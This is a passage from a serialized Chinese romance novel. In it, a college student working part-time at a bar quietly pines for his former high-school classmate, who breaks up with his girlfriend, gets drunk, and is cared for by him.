这之后,许驰让谢允执开始帮忙做一些营业前的准备,比如把酒水陈列在柜台上,用抹布清洁桌面之类的,季越则是出于兴趣在和酒保学习怎么调酒。 下午五点,酒吧开始正式营业,陆续有客人从街上涌入。 谢允执把冰块车推到吧台边,把装满冰块的铁桶拎到调酒师手边,从台下抽出一把冰夹,帮着收拾操作台上的碎冰。 许驰正在仓库把刚送来的玻璃杯拆开,挨个对着灯光检查有没有裂纹或水渍,检查完毕后,他对前台道:“谢允执,帮我把碟坑里的杯子洗一下。” 谢允执应了声“好的”,放下手里的冰夹,转身去了厨房。 拧开开关,热水从水龙头里流出来,很快注满了水槽。他挤了些洗洁精,握着杯用海绵仔细擦拭。 但是在洗第三只杯子时,指尖刚转到杯底,手心却突然传来一声脆响。 “砰。” 碎裂的玻璃片刺进皮肤,断口锋利得像刀片,他松开手但右手拇指和食指之间已经被划出一道红线,从指节一直划到指根,很长,不断有血珠顺着指缝往下淌。 “洗好了吗?”许驰走进后台,看到谢允执的手,倒吸一口冷气:“你的手怎么受伤了?” “洗杯子的时候,杯子突然裂了。” 虽然受了伤,谢允执的反应却异常冷静,仿佛根本感觉不到痛似的。 “都怪我,没提前告诉你这种薄壁杯容易碎,洗的时候一定不能太用力。”许驰皱起眉,“你在这里等一下,我马上叫人来帮你处理。” 说罢他转身离开后台,没多久便拉着季越一起匆匆走了进来。 季越目光落到谢允执那只还在滴血的手上,皱了皱眉。 “他是学医的,知道怎么止血。”许驰对谢允执道。 谢允执目光落在季越脸上,心说我知道。 酒吧的生意正忙,把季越叫来后许驰就出去接待客人了。 季越取下烟别到耳后,朝谢允执走了过来。 “伤口让我看看。” 谢允执很配合地抬起右手,季越握住他的手,刺痛感让谢允执的指尖微微一颤,但他没有缩回手。 他盯着季越握住自己手腕的那只手,有些发愣。 男人的手指修长,骨节分明,隐约可见青色的血管,透出一种干净与优雅。 自己的伤口里不断有血渗出来,沿着虎口处往下淌,弄脏了他的手。 “伤口挺深,”季越大致检查了一下,就转身去拿放在工具柜里的药箱,“你洗杯子使这么大劲啊?还没上班就弄出工伤。” “只是意外,我以前没洗过这种杯子。” 谢允执反驳道,目光落在刚才被季越握住的手上,那里还残留着一点男人的体温。 季越从医药箱里拿出碘伏和棉签,抬起谢允执的手,用棉签在伤口处擦拭,为了彻底消毒,并没有刻意减小力气。 “还好没割到动脉,不然你现在该跑急诊了。” “疼吗?”他抬头看了谢允执一眼。 “不疼。” 其实是疼的,但是这点痛对他来说不算什么。和小时候遭受的暴力相比根本不值一提。 谢允执看着他耐心地帮自己处理伤口,觉得心里某个角落好像羽毛划了下,酥酥麻麻的。 他想起了第一次见到季越的场景。 高中开学的前一天晚上,赵明峰喝多了酒,对着他发酒疯,拳打脚踢,谢允执尽量护住头,但眉骨上方还是被砸出一个伤口。 第二天在操场升旗的时候,因为出汗,额头上的伤口又渗出了血。 谢允执身上没带纸,就用校服袖子擦了擦。 伤口很疼,但他早已经习惯。小时候,他看到赵明峰跟谢雯吵架,晚上在被窝里掉眼泪时曾经要在脑海里想象要对那个人渣挥一挥拳头,但到了高中,他长到一米八还要多,才发现在武力上自己依然不是赵明峰的对手。 前面走过几个学生会的人,是负责检查仪容仪表的,季越也在其中,起初他只是看了谢允执一眼,就从他面前走过。 但是几秒钟后,他又折返回来,盯着他眉骨上方的血痕,问:“你没事吧,头上怎么流血了?” 谢允执抬头看了他一眼,没说话,只是摇了摇头。他脸上面无表情,眼底也没什么情绪,像是对自己的伤势漠不关心。 季越没再多问,伸手从校服口袋里摸出一个东西,递了过去。 谢允执盯着他手心里那个粉色的HalloKitty创可贴看了两秒,眉心微蹙。 说实话,他不想在脸上贴这么娘唧唧的东西。 大概猜到他的想法,季越解释道:“这是我姐给我的,你凑合一下。” 谢允执嘴唇动了动,最终却还是没把拒绝的话说出口。 他伸手接过那个创可贴。 想了想,又补上一句“谢谢。” 他的声音很轻,像是不太习惯说这两个字。 季越勾了勾唇:“不客气。”之后便转身离开了。 高中的时候他和季越虽然都坐在后排,但座位隔得很远,一个在靠窗的最左边,一个在靠近门口的最右边,这是重逢后他第一次和他离得这么近。 用碘伏消完毒后,季越仔细给谢允执的伤口缠上了纱布。 “好了。” 他直起身,把剩下的纱布扔回医药箱,“防止感染,这两天最好别碰到水。” 谢允执垂眼看了看自己被纱布缠绕着的手指,上面渗出一点暗红,但并不多,梅花似的,不知道是不是因为缠绕方法,伤口的血已经止住了。 “嗯,谢谢。” 季越扬起嘴角:“小事。” 因为手上受了伤,谢允执没再帮忙打杂,而是坐在吧台后方休息。 季越今天也有演出,他弹奏的第一首曲子是五月天的《温柔》,为了配合气氛,酒吧内的灯光全都停止了流动,柔和的钢琴声在酒吧里飘荡开来,原本嘈杂的四周突然安静下来。 谢允执坐在台下,目光一直落在季越身上。他前面沙发上的两个年轻女孩小声议论着,“我天那个弹钢琴的小哥哥好帅啊!”甚至举起手机对着季越录起了视频。 谢允执暗自感谢这份工作,给了自己一个光明正大的理由凝视他。 音乐声中,突然有人叫道:“谢允执在吗?” 谢允执勾头望了一眼,一个带着头盔的外卖骑手不知何时来到了吧台前,左右张望着说:“您点的外卖到了。” “我在。”谢允执起身,上前一步来到骑手面前,疑惑地皱了下眉,“你确定是我的?我没点过外卖。” 骑手看了眼外卖袋订单上的备注:“是季先生点给你的。” 季先生? 谢允执迟疑片刻,还是伸手接过纸袋,打开一看发现里面是一杯番石榴汁。 番石榴汁是补血的,大概是见他刚才流了很多血,所以给季越给他点了这个饮料。 谢允执的心动了一下,像是有一颗小石子投入湖面,涟漪在无声荡开。 对季越来说这只不过是微不足道的一件事,谢允执的嘴角却不自觉地弧度上翘,心底却像抹了蜜一样,连周围的空气闻起来都是甜的。 他回到座位上,抬头看向季越。他已经开始演奏第二首歌曲,是方大同的《特别的人》。 谢允执抿了一口番石榴汁,介于草莓和梨的味道在口腔里扩散。 他想了想,还是举起手机对着桌上的果汁拍了张照,发在朋友圈里。 配文是季越演奏的那首歌里的: “生命中有万事的可能。” 担心太过露骨,他只写了一句,而歌词的下一句是—— “你就是我要遇见的特别的人。” …… 晚上七点,一辆出租车停在初见酒吧门前。车门打开,里面走出一个戴着耳机的年轻人。 宋承言摘下耳机,仰头瞥了一眼酒吧招牌,点开和季越的微信聊天窗口,嫌打字麻烦,发了条语音过去:“我到了。” 走进酒吧后,他的目光在店里扫了一圈,看到了正在演艺区弹奏钢琴的季越。 同时余光也捕捉到了坐在吧台后的谢允执,心里突然咯噔一下。 似是感受到男人的目光,谢允执也偏头看了一眼宋承言,但那张冷淡的扑克脸上并没有浮现出什么表情,很快移开了目光,仿佛他不存在似的。 宋承言心里蓦地蹿起一股无名火。 从前谢允执对他就是这种视若无睹的态度,总是冷着一张脸,就好像根本不把他看在眼里一样。 不就是个小三的儿子吗,一副高高在上的样子,拽什么拽。 宋承言低低骂了声“靠,真晦气”,一脸不爽地朝吧台走去,面对着谢允执道:“谢允执,你在这儿干什么?” 谢允执皱了皱眉,没搭理他。 注意到他身上穿着服务员的衣服,宋承言语带嘲讽地冷笑一声道:“你该不会在这里打工吧?谢雯没给你生活费?” 谢允执不冷不热地看了他一眼:“跟你没关系。” “那个狐狸精果然不是个好东西。” 谢允执站起身,脸上罕见地浮现出愤怒:“你嘴巴放干净点。” “怎么,我说错了?把自己亲儿子丢在外面好几年不管,我要是你,早就恨死她了,搞不懂你为什么还要替那女人说话。” 空气里仿佛迸射出火花,气氛变得剑拔弩张。 周围不少人都被他们俩吸引了视线。 这时,结束演出的季越朝吧台走来,目光在二人脸上一转。 “你们在吵什么?” “一点破事。”宋承言道。 “你们俩认识?”季越问。 宋承言恶狠狠地瞪了谢允执一眼,没好气道:“我不是跟你说过我继母的有个儿子,就是他。” 季越看向谢允执,发现谢允执冷着脸,也在看着他。 8. 担心 季越和宋承言是高二假期认识的,两人都是上海一家高尔夫球俱乐部的成员。 和钢琴一样,季越对高尔夫球也没有多大感兴趣,会去那里只是因为季近严希望他在十八岁前学会这项运动。 毕竟这是上流圈子里非常流行的一种社交运动,季近严有意把儿子培养成一个和他一样的成功的商人,可惜季越对商业并不感兴趣。 至于宋承言,他会加入高尔夫球俱乐部纯粹是因为这是他母亲的爱好。 宋至和他的母亲就是在这家俱乐部里相识,进而相爱结婚的。 以前周末或是节假日时,他们一家人总是一起来这里打球,母亲确诊绝症后,一直在住院。宋至忙于工作,没再来过球场宋承言却还是一直坚持着来打球,把这当作纪念母亲和童年的一种方式。 俱乐部里大部分都是成年人,小孩子并不多。季越和宋承言年纪相仿,很快就注意到了彼此。 一开始是季越主动来和宋承言搭话,邀请他一起打球,后来两人便常常约着一起打球,自然而然就成了好朋友。 那时因为母亲的病和宋至的再婚,宋承言心情十分压抑,聊天的时候跟季越倾诉过不少他家里的事。 他说家里来了个小三,那小三还带了冷漠又沉默寡言的儿子,不过幸好后来她儿子搬出去住了。 据说是被送去了亲戚家里寄养,但是亲戚们对他很刻薄,后来他妈妈就让他一个人住在出租屋里了。 “给我个面子,别在这儿吵架。”季越扭头对宋承言道。 宋承言知道这酒吧是季越朋友开的,听到他这么说,只好按捺住心里的不爽:“行,给你这个面子。” 他讨厌谢允执,但是也没有当众闹事的打算。 季越在吧台点了两杯酒,之后就和宋承言就去了对面的卡座,在U型的沙发上坐下。 季越从夹克口袋里拿出一根烟,叼在嘴里,宋承言弹开打火机匣子,给季越点烟。 谢允执看着他们俩聊天,有说有笑,心情十分复杂。他没想到季越会认识宋承言,更没想到他们俩是关系不错的朋友。谢雯和宋至再婚后,曾经把谢允执接去宋至家里生活过一段时间。宋承言看他哪哪儿都不顺眼,那段时间两人经常发生矛盾。 现在看来,不过是两个重组家庭的孩子被强行塞进同一个屋檐下后发生的那种最寻常的摩擦,经年日久,谢允执对宋承言并不像后者对他那样记恨。 他现在更担心一件事:宋承言知道他的性取向,他会不会故意把这件事告诉季越? 谢允执翻出手机,装作不经意地看手机,实际上在紧张地偷听着两人的对话。隔着两三米的距离,只能听到一些只言片语。好在他们谈话题都是各自生活上的事,跟自己没关系。 紧绷的神经慢慢松弛下来。 宋承言的电话突然响了起来。酒吧的声音实在太闹,他站起身,对季越说了句“我出去接个电话”,高大的身影穿过拥挤的舞池,消失在门外。 他刚离开没多久,一个衣着暴露的女人便朝季越走了过来。她穿了件亮片吊带裙,锁骨和肩头大片裸露着。看起来二十几岁,鼻梁微微朝上,红唇纤薄而充满光泽。 “弟弟,可以请你喝一杯吗?” 季越散漫地靠在沙发上,眉眼深邃又轻佻,指尖着夹烟,没什么表情地偏头看了她一眼。 没等季越回答,女人就已经在他身旁坐了下来,裸露的手臂蛇一样缠上他结实的小臂,嘴唇勾起一个妩媚的弧度。 她贴得很近,近到隔着薄薄的衣料能感受到彼此体温的交换。 季越没有躲,只是叼着烟,慢慢地笑了一下。 那笑容带着几分漫不经心的痞气,像是见惯了这种场面。 “姐姐,我已经有女朋友了。”他的声音低沉沙哑,混着酒吧里嘈杂的音乐,尾音微微上扬,客客气气却又带着不容置疑的距离。 说罢将手臂从她掌心里抽了出来。动作不重,却干脆利落,没有一丝拖泥带水。 “我不介意你有女朋友。你的长相很合我口味,玩一玩而已,又不用你负责。”女人说着又要往他身上靠,指甲轻轻划过他的手腕,下意识往男人黑色的裤子上碰,暗示意味明显。 季越伸出手,轻而易举地钳住她的手腕:“你不介意,我介意。” 季越把烟按灭在面前的烟灰缸里,站起身理了理被扯皱的袖口,居高临下地看着她,眼神却已经冷了下去。 “而且你这样的,不合我的口味。” 他虽然满身放纵浪荡,游戏人间的气质,对待感情却是个专一的人。 女人知道这不是欲擒故纵,识趣地站起身来,耸了耸肩,丢下一句“可惜”便转身离开了。 看着她离开的背影,谢允执松了口气。 虽然她被拒绝了,但她做到了他做不到的事。谢允执可能永远没法在众目睽睽之下向季越表达自己对他的好感。 不过即使真的向他告白,大概也会像那个女生一样被拒绝吧。想到这里,心中酸酸的。 目光再次落到季越身上。 他说他已经有女朋友了,是谁? 几天后的近代史课上,谢允执看到季越和乔思凡一起走进教室,手牵着手,举止亲密,才知道原来季越口中的女朋友就是她。 心里涌起一阵失落,即便是他先认识的季越,后者喜欢的却是乔思凡。季越并不喜欢同性,他很早以前就知道这一点,也预料到了现在这样的结果,除了接受毫无办法。 季越和乔思凡经常一起去图书馆自习,原本谢允执没课的时候也常去那里,但是为了避免撞见他们俩,后来他就没再去过图书馆了,而是在空教室里自习。 酒吧的兼职倒是仍在继续做。季越只有刚开业的那半个月常来演出,其余时间很少在酒吧现身,所以谢允执和他碰面的次数并不多。 进入十月,天气开始转凉。后来的半个月不论在学校还是在酒吧,谢允执都没再见过季越。 周三下午,谢允执和顾存一起去学院楼交办理医保的材料。回宿舍的的途中路过篮球场,遇到一个班上的同学,说球场上正在举行校赛的决赛。顾存是个狂热的篮球爱好者,便拉着谢允执一起去看球赛。 二人在铁丝网下方的草坪上坐下,昨晚下了一场秋雨,空气中弥漫着青草香,以及雨水浸入泥土的腥味。 太阳还没完全落下去,穿着球服的男孩们正在夕阳里跑动。 谢允执一眼就注意到了季越,他个子高,而且从高中开始健身,体力比一般的大学生要好,打起球 来自然也是最耀眼的那个。 剧烈运动容易出汗,中场休息的时候季越把T恤下沿稍微往上卷一卷扇扇风,引得场外围观的的女生们一阵花痴:“哇!有腹肌!” “你跟季越从小就认识吗?”谢允执突然问。 顾存:“是啊,我们两家是亲戚,从小一起长大的,小学初中都同班,不过到高中就考去不同的学校了” “他小时候是不是也很受女生欢迎?” 谢允执想多了解一些关于季越的事,哪怕他知道他们之间并不可能。 “你想多了,你别看他现在活蹦乱跳的,他小时候就是个病秧子,可柔弱了。一年估计有三分之二的时间都待在医院里,初二的时候还差点因为流感去世了,要不是有他姐姐一直陪着他,他可能都没法坚持上学。” 谢允执有些诧异,他知道季越容易感冒,高中的时候每到冬季他总是会生病请假一段时间。 可是谢允执没想到他的童年竟然是这样的,一年有三分之二的时间都待在医院里,光是想想都觉得可怜,和他想象中无忧无虑的童年相去甚远。 “对了,你们以前是不是见过啊?”顾存突然说:“上次在酒吧,他说觉得你有点眼熟。” 原来当时季越对自己并非完全没有印象,但他会觉得眼熟,应该是因为他们之前在走廊面试的时候见过。 谢允执道:“我跟他一个社团,之前面试的时候见过。”谢允执没有告诉顾存他和季越是高中同学的事,那时的他很糟糕,他并不想让顾存知道他曾经是那么不起眼的一个人。 “你加入了社团?什么社团啊?” “电影社。” “你喜欢看电影吗?” “一般。” “那你干嘛加入电影社?哦~我知道了,是去泡妞的吧?”顾存伸手揽住谢允执的脖子,意味深长地坏笑着说:“我听说电影社里有很多漂亮的学姐,你是不是看上谁了?如实招来。” 谢允执被他这一下弄得弯下了腰,他不习惯和人靠得太近,很自然地挪开顾存的手,挺直了背靠在铁丝网上,抬头看着球场上的季越,淡淡道:“我是喜欢上了一个人,我一直在暗恋他,不过他已经有别人了。我失恋了,但也没办法,只能安慰自己不管现在多难过,过段时间都会好的。” 顾存被他这番话惊得整个人从地上站了起来,“我去,真被我说中了啊,我说你这几天怎么这么闷闷不乐的......” 原来是失恋了。 顾存觉得现在应该说点什么来安慰他,拍了拍他的肩道:“你也别太难过了,天涯何处无芳草,何必单恋一枝花。” 谢允执没有点头,也没有反驳。 顾存觉得自己的安慰似乎没什么用,又道:“你肯定能遇到更好的,不过我很好奇,你喜欢的女生到底是谁啊?” 谢允执从季越身上移开目光,偏头看着顾存,装出被他的反应逗笑的样子,笑道:“逗你玩的,我没有喜欢的人。” 顾存觉得谢允执刚才说他失恋的样子不像装的,但相处这么久,顾存对谢允执的性格多少有了些了解,知道他这么说是并不想和自己聊失恋的事,也就顺着他的话说了下去: “什么啊,玩笑开得跟真的似的,你可以去做演员了。” 9. 失落 谢允执不是故意对顾存说谎。顾存是他上大学后交到的为数不多的好朋友,可是顾存和季越的关系让他没法对他坦白一切。谢允执有些懊悔,觉得刚才那番话也不该说的,他喜欢季越这件事大概只能永远藏在心底。 他们聊天的同时,球场上比赛的氛围也逐渐热烈起来。 两人的注意力再次回到赛场上。 尽管季越的表现令人瞩目,但他们的对手几乎都是体育生,不仅个个都长得人高马大,平日里接受的训练也更加更严格。 下半场比赛开始后,双边的比分仍旧是此消彼长,难分伯仲。 直到比赛还剩一分钟的哨声吹响,季越接到球后身体后倾,毫不犹豫投篮。 他的动作干净利落,篮球在半空划出一个漂亮的弧线,在三分线外命中,两边的比分一下拉开。 围观人群爆发出一阵呐喊。 “我靠!”连顾存没忍住,点评道:“这一下真帅!骚起来了!” 季越看了眼裁判员旁边记录比分的牌子,唇角浅浅勾起,走到长椅边拧开一瓶水,仰头,喉结微微滚动着,一口气喝了大半。 眼角余光注意到顾存和谢允执,他放下手里的矿泉水瓶,朝二人走来。 “行啊你,球技越来越好了。”顾存笑着说。 “你们俩什么时候来的?”季越今天穿着简单的黑色T恤,他胸膛轻微起伏,下巴还渗着汗。 “比赛刚开始就来了。”顾存说。 “吃晚饭了吗?” “还没。” “一起吧,我请。”刚赢了比赛,季越看起来心情很不错。 顾存也没客气,扭头问谢允执想吃什么。 商定好在哪里吃饭后,三人就一起朝校门口走去。 季越开车带他们去了附近的商场,来到一家日料店内。 在座位上坐下后,顾存问:“你不是刚交了女朋友吗?怎么不叫她一起来吃饭?” “吵架了。”季越从烟盒里摸出一根烟,咬在嘴里,刚拿出打火机,顾存就把那烟从他嘴里取了下来,扔在垃圾桶里。 “谢哥不喜欢烟味,等我们吃完饭你再抽。” 季越看了眼谢允执,合上打火机匣子,发出“啪”的一声。 顾存:“你说你跟女朋友吵架了,怎么回事?” “她觉得我对她不够上心。” 这话倒也没说错,季越平时回消息很慢,而且总是记不住乔思凡喜欢什么,平时也很少主动找她聊天。 上周乔思凡翻到他手机里有另一个女生的照片,让他删掉,他没删,她就生气了说要和他分手。 “不是,你手机里还存着哪个女生的照片?” “程唯的。” 程唯是他的青梅竹马,季越和她拍过不少合照,高三毕业后两人交往过一段时间,但很快就分了手,因为程唯觉得他不够浪漫。季越也没挽留,本来他们之间相处就没什么情侣的感觉,分开了也还是继续做朋友。 “你还留着她照片呢。”顾存听完后,啧了一声:“换我也生气。” 和季越认识这么久,他太清楚了,季越看起像个撩妹高手,实际上他和女生相处时特别木头,像有浪漫功能障碍症。 “你到底喜不喜欢乔思凡啊?”顾存没忍住问。 “不知道。” “那你还跟她在一起?” “她追的我,我当时觉得试试也行。”季越回答得漫不经心,语气十足地欠揍,顾存骂了他一句“渣男”,季越也没反驳。 高中的时候他收过的情书多得塞不进抽屉,却从没想过早恋,不是因为定力多强,而是因为确实没有对谁心动过。但是上大学后,他也想谈一段真正的恋爱。 上个月,程唯打电话告诉他说自己交了一个意大利的男朋友,对方温柔体贴,浪漫又热情。 语气像是踩在棉花糖上,轻飘飘、甜丝丝的。 季越谈不上失落,分开这件事他从来没有后悔过。 程唯问他有没有交新的女朋友,季越如实回答说没遇到喜欢的。 程唯便建议他可以试试去联谊,她和现在的男朋友就是通过联谊认识的。 “哪怕一开始没什么感觉,说不定相处久了就能日久生情呢。” 季越觉得她说的也有道理,一见钟情这种事概率毕竟很小。于是他和朋友一起去了医学部和法律部的联谊会。乔思凡在联谊上对他告了白,他抱着“试试看”的心态点了头。 但现在看来,日久生情这事儿应该是不可能了。 谢允执一直在旁听两人讲话,他本以为季越和女朋友相处时应该是温柔体贴的,没想到他们也会和普通情侣一样因为一些小事而吵架。 这时,一群十六七岁的少男少女从日料店旁经过。 “咦,学长?” 一个皮肤黝黑的男生看到季越,忍不住出声叫了出来。 季越偏头看了他一眼,对那男生没什么印象,“你认识我?” 男生解释道:“学长,我们也是实验中学的,今年刚升高三。” 季越高三的时候,曾经作为本年级的学生代表在学校的大礼堂做过一次高考动员演讲,那次演讲被校方录了下来。后来每个升入高三的班级班主任基本都给学生看过这段视频,所以这些学弟学妹们都认识他。 得知他们是母校的晚辈后,季越随和地和他们聊了会儿天。 其中一个学妹的目光忍不住朝谢允执身上瞟。 店里冷白的光线勾勒出他面部的轮廓,单眼皮薄而锋利,鼻梁高挺,下颌线利落如刀裁,整个人冷淡又干净。明明什么都没做,却自有一股生人勿近的疏离感。 谢允执正在和顾存说话,并没有注意到她。 一行人离开后,女生叹了口气。 闺蜜问她:“你怎么了?” 女生说:“季学长身边那个单眼皮的男生长得好帅啊,好想加他的微信,但是他看起来好高冷喔,我不敢跟他说话。” …… 吃饭的时候,季越的电话响了起来。是梁芸打来的,季越和母亲说话时的声音很柔和,谢允执看见他的喉线弧度流畅,左手搁在桌边,手有一搭没一搭地扣着桌面,旁边冰镇碳酸饮料冒出的白雾沾在他修长的指尖上。 他面容带笑,正 在哄梁芸不要担心他,以及他托了朋友在英国买到了梁芸看中却没货的限量款包包。 谢允执突然想起表哥之前和他说过的话:季越是传说中的上帝宠儿。 谢允执这一刻确信,季越的确很幸运,但这幸运并不来自于政治背景和丰厚身家,而是因为他有一个集万千宠爱于一身的幸福和睦的家庭。 一周后。 谢允执正在给一位独坐的客人倒红酒,突然听到身后一个女声说:“一杯龙舌兰日出。” 他转过身,看到了乔思凡。 “常温还是加冰?”酒保问。 “加冰的。”乔思凡独自一人坐在吧台前,穿着一身天蓝色吊带裙,衬得肩颈线条愈发纤细。 和上次见面相比,她改变了不少,长发变成了一刀切的短发,以往不施粉黛的脸上也化了妆,连眼神也和从前透着懵懂的样子不一样了,透露着恋爱不顺产生的疲惫和落寞。 酒保点了点头,“好的,您稍等一下”,拿出杯子给她调酒,冰块碰撞玻璃杯发出清脆的响声。 乔思凡还没吃晚饭,于是又点了一份意面套餐。许驰正坐在沙发上和朋友聊天,注意到她后便起身朝这边走来,微笑道:“思凡,你怎么一个人,季越没跟你一起来吗?” 季越和乔思凡交往后曾带她和许驰见过几次面,所以许驰认得她是季越的女朋友。 乔思凡抿了一口酒,对许驰道:“我是来找你的。” “找我?” 乔思凡点点头:“我想向你打听一些事,季越以前是不是交过很多女朋友?” 许驰在她身边的高脚椅上坐下,指尖敲了敲吧台桌面,开口道:“据我了解,在你之前他只交过一个女朋友。你怎么会这么想?” 乔思凡低下头沉默了两秒,才缓缓抬起头来,盯着手里的酒杯,低声道:“我觉得他心思不在我身上,可能是因为喜欢他的女生太多,让我有点患得患失。我不是说他很花心,其实我从来没见他主动去撩过别的女生,之前我向他告白,他点头答应我的时候,我高兴得差点哭出来。他是个很温柔的人,只是......总觉得我们之间隔着一层东西,他好像从来没有真正对我敞开心扉,我走不进他的世界里。” 许驰不清楚他们俩之间发生了什么事,但乔思凡看起来有点可怜,他是个很怜香惜玉的人,只好安慰道:“他既然决定和你交往,应该是喜欢你的,你也别想太多。他就是这种性格,外热内冷,看起来对谁都客气,对谁都好,其实也就等于对谁都不好,没有谁在他看来是特别的。说句实话,也许有点不好听的,但喜欢上他这种人注定是要吃苦的。” 乔思凡“嗯”了一声,目光黯淡下去,她撩起耳边的一缕细发,抬眼看着许驰:“他说喜欢短发,我就去理发店把头发剪短了,但是看到我的新发型,他却说不适合我......你比我更了解他,能不能告诉我,到底要怎么做才能让他更喜欢我一点?” 许驰看着眼前姑娘泛红的眼尾,叹了口气:“你不用总把他的喜好放在自己前面,我和他认识这么多年也没见他主动追过谁,可能连他自己都不清楚自己喜欢什么样的人。” 10. [锁] [此章节已锁] 听到他这么说,乔思凡有些失望,俏脸上蒙着一层阴影。之后许驰又安慰了她几句,就回沙发那边去陪他的朋友了。 谢允执把做好的意面递到乔思凡面前,“请慢用”。 “谢谢。”乔思凡端着餐盘,独自到一个角落里坐下。 酒吧里一支乐队正在演出,彩色的灯光顺着鼓点交错,贝斯手的手指在弦上轻快游走,主唱坐在椅子上,怀里抱着一把木吉他,沉郁的歌声像融化的冰酒般往四周漫开。 “许驰,吧台边的那个服务员叫什么名字?” 邵舟嘬了一口手里的威士忌,盯着站在收银机前的男人,走进酒吧后,邵舟第一眼被他吸引住了,完全移不开眼。 许驰扭头瞥了眼吧台,发现他盯着看的那人是谢允执后,警惕道:“你打听这干嘛?我告诉你,他可是个正经的好学生,还在上大学呢,我劝你别打他的主意。” 他向来喜欢这种唇红齿白长相斯文干净的男生,而谢允执长得比他以前的床伴们都要好看,虽然五官清秀,却丝毫不显得娘气。 邵舟扯了下领带,轻轻笑了一下。虽然许驰那么说,他却没打算照做。好不容易遇到一个对胃口的,哪能就这么放过他。 角落的卡座里,乔思凡吃完了碗里的意面后,从座位上起身,打算离开酒吧。 刚走到舞池边,恰好遇到了刚从门口进来的季越。乔思凡停下脚步,男人朝她迎面走来。 “你怎么来了?” “我有件事想跟你说。”季越低头看着她,喉结动了好几下才开口:“我们分手吧。”这句话说出来,他像是松了口气。 乔思凡身体像冻住般僵在原地,抬头看着他,明亮的大眼睛里忽然落下滚圆的泪珠。 “为什么、为什么突然提分手?” “我们不合适,继续下去对谁都没有好处。” 乔思凡捂住脸,肩膀不受控制地轻轻颤抖,眼泪从指缝里不停渗出来,砸在冰凉的地板上。 她憋了好久才把哽咽压下去,没再说什么,转身离开了酒吧。 季越没有追过去,昨晚他考虑了很久,最终还是决定和乔思凡分手。他并没有那么喜欢她,再继续交往下去也只会让她更难受,缘分是没办法强求的。 季越朝许驰他们所在的方向走去。 “你又惹女朋友生气了?”许驰问。 “分手了。”季越说着,在沙发上坐了下来。立起的衣领遮住他的下巴,轮廓分明的侧脸看起来有些冷峻。 许驰正在喝酒,闻言被呛了一下:“我不是发消息让你过来哄哄她吗,你怎么直接跟她分手了?” 季越什么都没说,只是举起杯子喝了口闷酒。 尽管和乔思凡的分手他表现得云淡风轻,但他心里其实也有些郁闷。他难受是因为对自己感到失望:为什么一段恋爱结束了,自己竟如释重负?为什么别人能爱得死去活来,自己却始终隔着一层? 人有时会为“自己不够正常”而痛苦,证据就是他喝了很多酒,最后像滩烂泥一样倒在沙发上,醉得不省人事。 十一点后,许驰的几个朋友陆续离开了酒吧。许驰接到父亲打来的的电话,说周聿白回家了。周聿白是他父母从孤儿院领养的孩子,从三月起他就在北京体育总局的训练基地参加培训,许驰有大半年没见到他了。 他披上原本脱下丢在沙发上的外套,把谢允执道叫了过来,让他把季越搬到二楼的客房去。 许驰离开后,谢允执把季越从沙发上扶了起来,原本想把他的手架在自己脖子上,但是季越醉得实在太厉害,完全失去了知觉,胳膊没法用力,老是滑下来。 谢允执干脆把他整个人打横抱了起来,季越体重很沉,但谢允执力气很大,抱着他上楼梯也没怎么喘气。 到了客房门口,谢允执用膝盖顶开没关严的门,几步走到床边,小心翼翼把人放了下来,顺手扯过被子盖在他身上,刚要转身离开,手腕突然被醉意朦胧的季越拽住了。 季越含混地念叨着什么,声音闷在枕头里听不清楚,谢允执弯下腰,凑过去想听清他在说什么。 但下一秒,季越突然一下子吐了出来。大半都吐在了谢允执的制服上,他自己的上衣上也沾了一些秽物。 混合着酒气的酸臭味瞬间散开来。 谢允执皱了皱眉,他抬起手把季越耷拉在床边的脑袋挪到枕头上,把他的外套脱了下来,又抽了张床头柜上的纸巾擦了擦他沾了污渍的下巴。 之后他去更衣室换了一身干净的制服,把他们俩的脏衣服都丢进了旁边全自动洗衣机里。 按下洗衣机的开关后,他去吧台调了一杯蜂蜜水,写了一张便条贴在上面,然后再次回到客房,将装着蜂蜜水的杯子放在床头柜上。 谢允执站在床边,没有立刻离开。他凝视着季越沉静的睡脸,毫无防备脸蛋和高中那个恣意张扬的少年逐渐重合。 如果他的存在只属于自己一个人就好了。这个念头像一根细针,每次冒出来,都刺得他心口发疼。他厌恶这样自私的自己,却又忍不住想,哪怕只有一次,只有一秒钟,如果让季越的目光只为他停留该有多好。 谢允执伸出手,指尖悬停在季越额前碎发的上方,终究没有落下去。 “晚安。”轻声说完这句只有自己能听见的话后,他转身离开了房间,将门轻轻合上。 卧室里重新陷入黑暗。 第二天,季越醒来后,脑袋一阵阵发胀,抬手按了按太阳穴,环顾四周空荡荡的房间,注意到床头柜上留着一杯蜂蜜水。 他喝了一口蜂蜜水,扯下便签盯着上面额“记得喝”三个字发了会儿呆。许驰的字很丑,季越想这字应该是谢允执写的。酒意慢慢散去。 季越早上有一节专业课要上,谢允执本该在昨晚一点就下班的,但是他主动加班到了第二天早上。他也正准备回学校,季越便主动捎了他一程。 车子一路缓速地向前开,沿着东湖路向南,再转入珞珈山路,道路两旁栽了两天高大的梧桐树,叶子枯黄,清晨的阳光从树叶缝隙落下来,一地的树影斑驳。 季越的手机响了,他电话连了车里的蓝牙,他按下接听。 “喂?” “不来。” “懒得过来。 ” 他的声音很好听,磁沉沙哑,带着鼻音和散漫的笑意。 说完,挂了电话。 车子停在红绿灯前,等待的空隙,季越偏头看了谢允执一眼,问:“我昨晚是不是吐你身上了?” “对。” “抱歉,昨晚喝太多,断片了。” “没关系。”谢允执坐在副驾驶的位置,他的头发一段时间没剪,有些长了,被风吹得凌乱,清晨的光将他的轮廓与五官映照出一片朦胧感,好像被水晕染开的水墨画。 "你不生气?" “我知道你不是故意的。” 顾存说谢允执是个好脾气的人,季越觉得他脾气的确好得过了头。客气、礼貌、疏离,距离感拿捏得精准又自然,像一台调试完美的机器,永远不会出任何差错。 谢允执长得不错,季越第一次见他的时候就这么觉得。现在这么仔细看,其实眉眼鼻子都没什么出众之处,大约自己觉得他长得不错,不是因为他真的长得好,而是因为他长得一脸的不食人间烟火。 好像神仙似的,对什么都漠不关心。 季越突然片问:“谢允执,你有没有交过女朋友?” 会这么问,只是出于纯粹的好奇。 谢允执无声地摇了摇头。 季越对这个答案倒并不意外,毕竟他这种男人,看着也不像是会谈恋爱的。 “那你喜欢过什么人吗?” 谢允执偏过头,直直地看着他:“高中的时候,喜欢过一个人。” “喜欢一个人,是什么感觉?” 谢允执沉默了良久,思索着,却找不到适当的词来描述。薄唇动了动,最终只吐出几个字: “不知道该怎么形容。” 对话就这样陷入了死胡同。 